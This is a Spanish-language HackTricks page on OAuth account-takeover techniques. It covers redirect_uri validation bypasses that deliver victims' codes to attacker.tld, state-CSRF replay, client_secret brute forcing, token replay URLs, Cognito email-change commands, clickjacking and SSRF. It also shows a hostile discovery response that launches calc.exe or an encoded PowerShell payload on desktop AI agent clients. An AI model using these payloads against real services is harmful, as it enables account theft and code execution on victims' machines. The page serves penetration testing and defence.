OAuth to Account takeover
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
OAuth ofrece varias versiones, con información fundamental disponible en OAuth 2.0 documentation. Esta discusión se centra principalmente en el ampliamente usado OAuth 2.0 authorization code grant type, proporcionando un marco de autorización que permite a una aplicación acceder o realizar acciones en la cuenta de un usuario en otra aplicación (the authorization server).
Considera un sitio hipotético https://example.com, diseñado para mostrar todas tus publicaciones en redes sociales, incluidas las privadas. Para conseguir esto se emplea OAuth 2.0. https://example.com solicitará tu permiso para acceder a tus publicaciones en redes sociales. Como consecuencia, aparecerá una pantalla de consentimiento en https://socialmedia.com, indicando los permisos solicitados y el desarrollador que los solicita. Tras tu autorización, https://example.com obtiene la capacidad de acceder a tus publicaciones en tu nombre.
Es esencial comprender los siguientes componentes dentro del marco OAuth 2.0:
- resource owner: Tú, como el usuario/entidad, autorizas el acceso a tu recurso, por ejemplo, las publicaciones de tu cuenta en la red social.
- resource server: El servidor que gestiona las peticiones autenticadas después de que la aplicación haya obtenido un
access tokenen nombre delresource owner, p. ej., https://socialmedia.com. - client application: La aplicación que solicita autorización al
resource owner, como https://example.com. - authorization server: El servidor que emite
access tokensa laclient applicationtras la autenticación exitosa delresource ownery la obtención de la autorización, p. ej., https://socialmedia.com. - client_id: Un identificador público y único para la aplicación.
- client_secret: Una clave confidencial, conocida solo por la aplicación y el authorization server, utilizada para generar
access_tokens. - response_type: Un valor que especifica el tipo de token solicitado, como
code. - scope: El nivel de acceso que la
client applicationsolicita alresource owner. - redirect_uri: La URL a la que se redirige al usuario tras la autorización. Normalmente debe coincidir con la URL de redirect pre-registrada.
- state: Un parámetro para mantener datos durante la redirección del usuario hacia y desde el authorization server. Su unicidad es crítica para funcionar como mecanismo de protección contra CSRF.
- grant_type: Un parámetro que indica el tipo de grant y el tipo de token que debe devolverse.
- code: El código de autorización del
authorization server, usado junto conclient_idyclient_secretpor la client application para obtener unaccess_token. - access_token: El token que la client application usa para las peticiones API en nombre del
resource owner. - refresh_token: Permite a la aplicación obtener un nuevo
access_tokensin volver a solicitar al usuario.
Flujo
El flujo real de OAuth procede de la siguiente manera:
- Navegas a https://example.com y seleccionas el botón “Integrar con Social Media”.
- El sitio entonces envía una solicitud a https://socialmedia.com pidiendo tu autorización para que la aplicación de https://example.com acceda a tus publicaciones. La solicitud está estructurada como:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- Se te presenta una página de consentimiento.
- Tras tu aprobación, Social Media envía una respuesta al
redirect_uricon los parámetroscodeystate:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com utiliza este
code, junto con suclient_idyclient_secret, para realizar una solicitud del lado del servidor para obtener unaccess_tokenen tu nombre, permitiendo el acceso a los permisos a los que consentiste:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- Finalmente, el proceso concluye cuando https://example.com emplea tu
access_tokenpara hacer una llamada API a Social Media para acceder
Vulnerabilidades
Open redirect_uri
Per RFC 6749 §3.1.2, el authorization server debe redirigir el navegador únicamente a pre-registered, exact redirect URIs. Cualquier debilidad aquí permite que un atacante envíe a una víctima mediante una URL de autorización maliciosa de modo que el IdP entregue el code (y state) de la víctima directamente a un endpoint del atacante, que luego puede canjearlo y recolectar tokens.
Flujo de ataque típico:
- Elabora
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callbacky envíalo a la víctima. - La víctima se autentica y aprueba los scopes.
- El IdP redirige a
attacker.tld/callback?code=<victim-code>&state=...donde el atacante registra la petición y canjea inmediatamente el code.
Bugs comunes de validación para probar:
- No validation – se acepta cualquier URL absoluta, resultando en robo instantáneo del code.
- Weak substring/regex checks on the host – bypass con lookalikes como
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com, omatch.com@evil.com. - IDN homograph mismatches – la validación ocurre sobre la forma punycode (
xn--), pero el navegador redirige al dominio Unicode controlado por el atacante. - Arbitrary paths on an allowed host – apuntar
redirect_uria/openredirect?next=https://attacker.tldo a cualquier endpoint XSS/user-content leaks the code ya sea a través de redirecciones encadenadas, cabeceras Referer, o JavaScript inyectado. - Directory constraints without normalization – patrones como
/oauth/*pueden ser eludidos con/oauth/../anything. - Wildcard subdomains – aceptar
*.example.comsignifica que cualquier takeover (dangling DNS, S3 bucket, etc.) produce inmediatamente un callback válido. - Non-HTTPS callbacks – permitir URIs
http://da a atacantes de red (Wi‑Fi, corporate proxy) la oportunidad de interceptar el code en tránsito.
También revisa parámetros auxiliares estilo redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) y el OpenID discovery document (/.well-known/openid-configuration) por endpoints adicionales que podrían heredar los mismos bugs de validación.
Redirect token leakage on allowlisted domains with attacker-controlled subpaths
Enlazar redirect_uri a “owned/first-party domains” no ayuda si cualquier dominio allowlisted expone attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, etc.). Si el flujo OAuth/federated login returns tokens in the URL (query o hash), un atacante puede:
- Iniciar un flujo legítimo para generar un pre-token (p. ej., un
etokenen un flujo multi-step Accounts Center/FXAuth). - Enviar a la víctima una URL de autorización que establece el dominio allowlisted como
redirect_uri/base_uripero apuntanext/path hacia un namespace controlado por el atacante (p. ej.,https://apps.facebook.com/<attacker_app>). - Tras la aprobación de la víctima, el IdP redirige a la ruta controlada por el atacante con valores sensibles en la URL (
token,blob, codes, etc.). - JavaScript en esa página lee
window.locationy exfiltrates los valores a pesar de que el dominio sea “trusted.” - Reproducir los valores capturados contra endpoints privilegiados downstream que solo esperan los tokens transportados por la redirección. Ejemplos del flujo FXAuth:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
XSS en la implementación de redirect
Como se menciona en este informe de bug bounty https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html podría ser posible que la redirect URL se refleje en la respuesta del servidor después de que el usuario se autentique, siendo vulnerable a XSS. Payload posible para probar:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
CSRF - Manejo incorrecto del parámetro state
El parámetro state es el token CSRF del Authorization Code flow: el cliente debe generar un valor criptográficamente aleatorio por instancia de navegador, persistirlo en un lugar que solo ese navegador pueda leer (cookie, local storage, etc.), enviarlo en la solicitud de autorización y rechazar cualquier respuesta que no devuelva el mismo valor. Siempre que el valor sea estático, predecible, opcional o no esté vinculado a la sesión del usuario, el atacante puede completar su propio flujo OAuth, capturar la solicitud final ?code= (sin enviarla) y luego coaccionar al navegador de la víctima para que reproduzca esa solicitud, de modo que la cuenta de la víctima quede vinculada al perfil del IdP del atacante.
El patrón de replay siempre es el mismo:
- El atacante se autentica contra el IdP con su cuenta e intercepta la última redirección que contiene
code(y cualquierstate). - Descarta esa solicitud, conserva la URL y más tarde abusa de cualquier primitiva CSRF (enlace, iframe, formulario que se autoenvía) para forzar al navegador de la víctima a cargarla.
- Si el cliente no aplica
state, la aplicación consume el resultado de autorización del atacante y conecta al atacante en la cuenta de la víctima en la app.
Lista de verificación práctica para el manejo de state durante las pruebas:
- Falta
statepor completo – si el parámetro nunca aparece, todo el proceso de login es vulnerable a CSRF. stateno requerido – elimínalo de la solicitud inicial; si el IdP sigue emitiendo códigos que el cliente acepta, la defensa es opt-in.statedevuelto no validado – manipula el valor en la respuesta (Burp, MITM proxy). Aceptar valores que no coinciden significa que el token almacenado nunca se compara.statepredecible o puramente basado en datos – muchas apps meten rutas de redirección o blobs JSON enstatesin mezclar entropía, lo que permite a los atacantes adivinar valores válidos y reproducir flujos. Siempre anteponer o añadir entropía fuerte antes de codificar datos.- Fijación de
state– si la app permite que los usuarios suministren el valorstate(p. ej., a través de URLs de autorización manipuladas) y lo reusa durante el flujo, un atacante puede fijar un valor conocido y reutilizarlo contra varias víctimas.
PKCE puede complementar state (especialmente para clientes públicos) al vincular el authorization code a un code verifier, pero los clientes web aún deben rastrear state para prevenir bugs de CSRF entre usuarios / vinculación de cuentas.
Pre Account Takeover
- Sin verificación de correo en la creación de cuenta: Los atacantes pueden crear preventivamente una cuenta usando el correo de la víctima. Si la víctima luego usa un servicio third-party para iniciar sesión, la aplicación podría vincular inadvertidamente esa cuenta third-party con la cuenta pre-creada del atacante, resultando en acceso no autorizado.
- Explotar verificación laxa de correo en OAuth: Los atacantes pueden explotar servicios OAuth que no verifican correos registrándose y luego cambiando el email de la cuenta al de la víctima. Este método conlleva un riesgo similar de acceso no autorizado, parecido al primer escenario pero por un vector de ataque diferente.
Disclosure of Secrets
El client_id es intencionalmente público, pero el client_secret nunca debe ser recuperable por usuarios finales. Despliegues del Authorization Code que incrustan el secreto en APKs móviles, clientes de escritorio o single-page apps entregan efectivamente esa credencial a cualquiera que pueda descargar el paquete. Siempre inspecciona public clients mediante:
- Desempaquetar el APK/IPA, instalador de escritorio o app Electron y buscar
client_secret, blobs Base64 que decodifiquen a JSON, o endpoints de OAuth hardcodeados. - Revisar archivos de configuración incluidos (plist, JSON, XML) o strings decompiladas en busca de credenciales de cliente.
Una vez que el atacante extrae el secreto, solo necesita robar cualquier code de autorización de la víctima (vía un redirect_uri débil, logs, etc.) para golpear /token de forma independiente y acuñar access/refresh tokens sin involucrar la app legítima. Trata a los public/native clients como incapaces de mantener secretos —deberían confiar en PKCE (RFC 7636) para demostrar posesión de un code verifier por instancia en lugar de un secreto estático. Durante las pruebas, confirma si PKCE es obligatorio y si el backend realmente rechaza intercambios de token que omitan ya sea el client_secret o un code_verifier válido.
Fuerza bruta al client_secret
Puedes intentar forzar por fuerza bruta el client_secret de un proveedor de servicio con el IdP para intentar robar cuentas.
La petición para BF puede parecer similar a:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Artefactos Referer/Header/Location que leak Code + State
Una vez que el cliente tiene el code y state, si aparecen en location.href o document.referrer y se reenvían a terceros, leak. Dos patrones recurrentes:
- Classic Referer leak: después del OAuth redirect, cualquier navegación que mantenga
?code=&state=en la URL los empujará al header Referer enviado a CDNs/analytics/ads. - Telemetry/analytics confused deputy: algunos SDKs (pixels/JS loggers) reaccionan a eventos
postMessagey luego envían ellocation.href/referreractual a APIs backend usando un token suministrado en el mensaje. Si puedes inyectar tu propio token en ese flujo (p. ej., vía un postMessage relay controlado por el atacante), después puedes leer el historial/registros de peticiones API del SDK y recuperar los artifacts OAuth de la víctima incrustados en esas peticiones.
Access Token Stored in Browser History
La garantía central del Authorization Code grant es que access tokens nunca llegan al navegador del propietario del recurso. Cuando las implementaciones leak tokens en el cliente, cualquier bug menor (XSS, Referer leak, proxy logging) se convierte en compromiso instantáneo de la cuenta. Siempre revisa:
- Tokens en URLs – si
access_tokenaparece en el query/fragment, queda en el historial del navegador, en logs del servidor, en analytics y en los headers Referer enviados a terceros. - Tokens transitando por middleboxes no confiables – devolver tokens sobre HTTP o a través de proxies de debugging/corporativos permite que observadores de red los capturen directamente.
- Tokens en estado JavaScript – stores de React/Vue, variables globales o blobs JSON serializados exponen tokens a cualquier script en el origin (incluyendo payloads XSS o extensiones maliciosas).
- Tokens persistidos en Web Storage –
localStorage/sessionStorageretienen tokens mucho después del logout en dispositivos compartidos y son accesibles desde scripts.
Cualquiera de estos hallazgos normalmente eleva bugs “bajos” (como un bypass de CSP o DOM XSS) a un full API takeover porque el atacante puede simplemente leer y reproducir el bearer token filtrado.
Everlasting Authorization Code
Los authorization codes deben ser de corta duración, de un solo uso y conscientes de replay. Al evaluar un flujo, captura un code y:
- Prueba la vida útil – RFC 6749 recomienda minutos, no horas. Intenta canjear el code después de 5–10 minutos; si aún funciona, la ventana de exposición para cualquier code leak es excesiva.
- Prueba el reuso secuencial – envía el mismo
codedos veces. Si la segunda petición devuelve otro token, los atacantes pueden clonar sesiones indefinidamente. - Prueba el canje concurrente/condiciones de race – dispara dos peticiones de token en paralelo (Burp intruder, turbo intruder). Emisores débiles a veces conceden ambos.
- Observa el manejo de replay – un intento de reuso no solo debería fallar, sino también revocar cualquier token ya emitido desde ese code. De lo contrario, un replay detectado deja activo el primer token del atacante.
Combinar un code susceptible de replay con cualquier redirect_uri o bug de logging permite acceso persistente a cuentas incluso después de que la víctima complete el login legítimo.
Authorization/Refresh Token not bound to client
Si puedes obtener el authorization code y canjearlo por un cliente/app diferente, puedes tomar control de otras cuentas. Prueba el binding débil haciendo:
- Captura un
codepara app A y envíalo al token endpoint de app B; si aun así recibes un token, el audience binding está roto. - Intentar endpoints de minting de tokens first-party que deberían estar restringidos a sus propios client IDs; si aceptan
state/app_idarbitrario mientras solo validan el code, efectivamente realizas un authorization-code swap para acuñar tokens first-party con más privilegios. - Comprobar si el client binding ignora discrepancias de nonce/redirect URI. Si una página de error aún carga SDKs que registran
location.href, combínalo con Referer/telemetry leaks para robar codes y canjearlos en otro lugar.
Cualquier endpoint que intercambie code → token debe verificar el client emisor, el redirect URI y el nonce; de lo contrario, un code robado de cualquier app puede ser escalado a un access token first-party.
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
En este bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ puedes ver que el token que AWS Cognito devuelve al usuario podría tener suficientes permisos para sobrescribir los datos del usuario. Por lo tanto, si puedes cambiar el email de un usuario por el de otro usuario, podrías take over las cuentas de otras personas.
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
Para más información detallada sobre cómo abusar de AWS Cognito consulta AWS Cognito - Unauthenticated Enum Access.
Abusing other Apps tokens
Como se menciona en este writeup, los flujos OAuth que esperan recibir el token (y no un code) podrían ser vulnerables si no verifican que el token pertenece a la app.
Esto es porque un attacker podría crear una application que soporte OAuth y permita el login con Facebook (por ejemplo) en su propia aplicación. Entonces, una vez que una victim inicia sesión con Facebook en la aplicación del attacker, el attacker podría obtener el OAuth token del usuario otorgado a su aplicación, y usarlo para iniciar sesión en la aplicación OAuth de la victim usando el token del usuario.
Caution
Por lo tanto, si el attacker consigue que el user acceda a su propia aplicación OAuth, podrá tomar el control de la cuenta de la victim en aplicaciones que esperan un token y no comprueban si el token fue concedido a su app ID.
Two links & cookie
Según este writeup, era posible hacer que una victim abriera una página con un returnUrl apuntando al host del attacker. Esta información se almacenaría en una cookie (RU) y en un paso posterior el prompt le preguntará al user si quiere dar acceso a ese host del attacker.
Para evadir ese prompt, era posible abrir una pestaña para iniciar el Oauth flow que establecería esta cookie RU usando el returnUrl, cerrar la pestaña antes de que se muestre el prompt, y abrir una nueva pestaña sin ese valor. Entonces, el prompt no informará sobre el host del attacker, pero la cookie quedará configurada con él, así que el token será enviado al host del attacker en la redirección.
Prompt Interaction Bypass
Como se explica en este video, algunas implementaciones de OAuth permiten indicar el parámetro GET prompt como None (&prompt=none) para evitar que a los users se les pida confirmar el acceso dado en un prompt web si ya han iniciado sesión en la plataforma.
response_mode
Como se explica en este video, podría ser posible indicar el parámetro response_mode para indicar dónde quieres que el code sea provisto en la URL final:
response_mode=query-> El code se proporciona dentro de un parámetro GET:?code=2397rf3gu93fresponse_mode=fragment-> El code se proporciona dentro del fragmento de la URL:#code=2397rf3gu93fresponse_mode=form_post-> El code se proporciona dentro de un formulario POST con un input llamadocodey el valorresponse_mode=web_message-> El code se envía en un post message:window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
Los diálogos de consentimiento/login de OAuth son objetivos ideales para Clickjacking: si pueden ser framed, un attacker puede superponer gráficos personalizados, ocultar los botones reales y engañar a los usuarios para que aprueben scopes peligrosos o vinculen cuentas. Construye PoCs que:
- Carguen la URL de autorización del IdP dentro de un
<iframe sandbox="allow-forms allow-scripts allow-same-origin">. - Usen trucos de posicionamiento absoluto/opacity para alinear botones falsos con los controles ocultos Allow/Approve.
- Opcionalmente pre-llenar parámetros (scopes, redirect URI) para que la aprobación robada beneficie inmediatamente al attacker.
Durante las pruebas verifica que las páginas del IdP emitan X-Frame-Options: DENY/SAMEORIGIN o una Content-Security-Policy: frame-ancestors 'none' restrictiva. Si ninguna está presente, demuestra el riesgo con herramientas como NCC Group’s clickjacking PoC generator y registra lo fácil que una victim autoriza la app del attacker. Para ideas adicionales de payloads consulta Clickjacking.
OAuth ROPC flow - 2 FA bypass
Según este blog post, este es un OAuth flow que permite hacer login en OAuth vía username y password. Si durante este simple flujo se devuelve un token con acceso a todas las acciones que el user puede realizar, entonces es posible bypass 2FA usando ese token.
ATO on web page redirecting based on open redirect to referrer
Este blogpost explica cómo fue posible abusar de un open redirect al valor del referrer para abusar de OAuth y lograr un ATO. El ataque fue:
- La victim accede a la página web del attacker
- La victim abre el enlace malicioso y un opener inicia el Google OAuth flow con
response_type=id_token,code&prompt=nonecomo parámetros adicionales usando como referrer el sitio del attacker. - En el opener, después de que el proveedor autoriza a la victim, los envía de vuelta al valor del parámetro
redirect_uri(web de la victim) con un código 30X que aún mantiene el sitio del attacker en el referer. - El sitio web de la victim desencadena el open redirect basado en el referrer redirigiendo al user de la victim al sitio del attacker; como el
respose_typeeraid_token,code, el code será enviado de vuelta al attacker en el fragmento de la URL permitiéndole tomar control de la cuenta del user vía Google en el sitio de la victim.
SSRFs parameters
Check this research Para más detalles de esta técnica.
Dynamic Client Registration en OAuth sirve como un vector menos obvio pero crítico para vulnerabilidades de seguridad, específicamente para ataques de Server-Side Request Forgery (SSRF). Este endpoint permite a los servidores OAuth recibir detalles sobre aplicaciones cliente, incluyendo URLs sensibles que podrían ser explotadas.
Key Points:
- Dynamic Client Registration suele mapearse a
/registery acepta detalles comoclient_name,client_secret,redirect_uris, y URLs para logos o JSON Web Key Sets (JWKs) vía POST. - Esta funcionalidad se adhiere a las especificaciones de RFC7591 y OpenID Connect Registration 1.0, que incluyen parámetros potencialmente vulnerables a SSRF.
- El proceso de registro puede exponer inadvertidamente a los servidores a SSRF de varias maneras:
logo_uri: Una URL para el logo de la aplicación cliente que podría ser solicitada por el servidor, provocando SSRF o conduciendo a XSS si la URL se maneja mal.jwks_uri: Una URL al documento JWK del cliente, que si es maliciosamente construida puede provocar que el servidor haga peticiones salientes a un servidor controlado por el attacker.sector_identifier_uri: Referencia un array JSON deredirect_uris, que el servidor podría solicitar, creando una oportunidad de SSRF.request_uris: Lista URIs de request permitidas para el cliente, que pueden ser explotadas si el servidor solicita estas URIs al inicio del proceso de autorización.
Exploitation Strategy:
- SSRF puede desencadenarse registrando un nuevo cliente con URLs maliciosas en parámetros como
logo_uri,jwks_uriosector_identifier_uri. - Mientras que la explotación directa vía
request_urispuede mitigarse con controles de whitelist, suministrar unrequest_uripre-registrado y controlado por el attacker puede facilitar SSRF durante la fase de autorización.
OAuth/OIDC Discovery URL Abuse & OS Command Execution
La investigación sobre CVE-2025-6514 (impactando clientes mcp-remote como Claude Desktop, Cursor o Windsurf) muestra cómo el dynamic OAuth discovery se convierte en una primitiva RCE siempre que el cliente reenvía metadata del IdP directamente al sistema operativo. El servidor MCP remoto devuelve un authorization_endpoint controlado por el attacker durante el intercambio de discovery (/.well-known/openid-configuration o cualquier metadata RPC). mcp-remote ≤0.1.15 entonces llamaría al manejador de URLs del sistema (start, open, xdg-open, etc.) con cualquier cadena recibida, por lo que cualquier esquema/ruta soportada por el SO se ejecutaba localmente.
Attack workflow
- Apunta el agente de escritorio a un servidor MCP/OAuth hostil (
npx mcp-remote https://evil). El agente recibe401más metadata. - El servidor responde con JSON como:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- El cliente lanza el manejador del SO para la URI proporcionada. Windows acepta payloads como
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux aceptanfile:///Applications/Calculator.app/...o incluso esquemas personalizados comocmd://bash -lc '<payload>'si están registrados. - Debido a que esto ocurre antes de cualquier interacción del usuario, simplemente configurar el cliente para que hable con el servidor del atacante produce ejecución de código.
Cómo probar
- Apunta a cualquier escritorio/agent compatible con OAuth que realice discovery sobre HTTP(S) y abra endpoints devueltos localmente (Electron apps, CLI helpers, thick clients).
- Intercepta u hospeda la respuesta de discovery y reemplaza
authorization_endpoint,device_authorization_endpoint, o campos similares confile://,cmd://, rutas UNC, u otros esquemas peligrosos. - Observa si el cliente valida el scheme/host. La falta de validación resulta en ejecución inmediata bajo el contexto del usuario y demuestra el problema.
- Repite con diferentes esquemas para mapear toda la superficie de ataque (por ejemplo,
ms-excel:,data:text/html,, custom protocol handlers) y demuestra el alcance multiplataforma.
Condiciones de carrera en proveedores OAuth
If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.
Mutable Claims Attack
In OAuth, el campo sub identifica de forma única a un usuario, pero su formato varía según el Authorization Server. Para estandarizar la identificación de usuarios, algunos clientes usan correos electrónicos o user handles. Sin embargo, esto es arriesgado porque:
- Algunos Authorization Servers no garantizan que estas propiedades (como el email) permanezcan inmutables.
- En ciertas implementaciones—como “Login with Microsoft”—el cliente depende del campo email, que está user-controlled by the user in Entra ID y no está verificado.
- Un atacante puede explotar esto creando su propia organización Azure AD (p. ej., doyensectestorg) y usándola para realizar un Microsoft login.
- Aunque el Object ID (almacenado en sub) es inmutable y seguro, la dependencia de un campo email mutable puede permitir un account takeover (por ejemplo, secuestrar una cuenta como victim@gmail.com).
Client Confusion Attack
In a Client Confusion Attack, una aplicación que usa el OAuth Implicit Flow no verifica que el access token final se haya generado específicamente para su propio Client ID. Un atacante monta un sitio público que usa Google’s OAuth Implicit Flow, engañando a miles de usuarios para que inicien sesión y así cosechando access tokens destinados al sitio del atacante. Si esos usuarios también tienen cuentas en otro sitio vulnerable que no valida el Client ID del token, el atacante puede reutilizar los tokens cosechados para suplantar a las víctimas y tomar control de sus cuentas.
Scope Upgrade Attack
El tipo Authorization Code Grant implica comunicación segura servidor-a-servidor para transmitir datos del usuario. Sin embargo, si el Authorization Server confía implícitamente en un parámetro scope en la Access Token Request (un parámetro no definido en el RFC), una aplicación maliciosa podría elevar los privilegios de un authorization code solicitando un scope mayor. Después de que se genera el Access Token, el Resource Server debe verificarlo: para tokens JWT, esto implica comprobar la firma JWT y extraer datos como client_id y scope, mientras que para tokens tipo string aleatorio, el servidor debe consultar al Authorization Server para recuperar los detalles del token.
Redirect Scheme Hijacking
En implementaciones móviles OAuth, las apps usan custom URI schemes para recibir redirects con Authorization Codes. Sin embargo, dado que múltiples apps pueden registrar el mismo scheme en un dispositivo, la suposición de que solo el cliente legítimo controla el redirect URI queda invalidada. En Android, por ejemplo, una Intent URI como com.example.app:// oauth se captura basándose en el scheme y filtros opcionales definidos en el intent-filter de una app. Debido a que la resolución de intents de Android puede ser amplia—especialmente si solo se especifica el scheme—un atacante puede registrar una app maliciosa con un intent filter cuidadosamente diseñado para hijack the authorization code. Esto puede enable an account takeover ya sea mediante interacción del usuario (cuando múltiples apps son elegibles para manejar el intent) o mediante técnicas de bypass que explotan filtros demasiado específicos, como detalla el flowchart de Ostorlab.
References
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


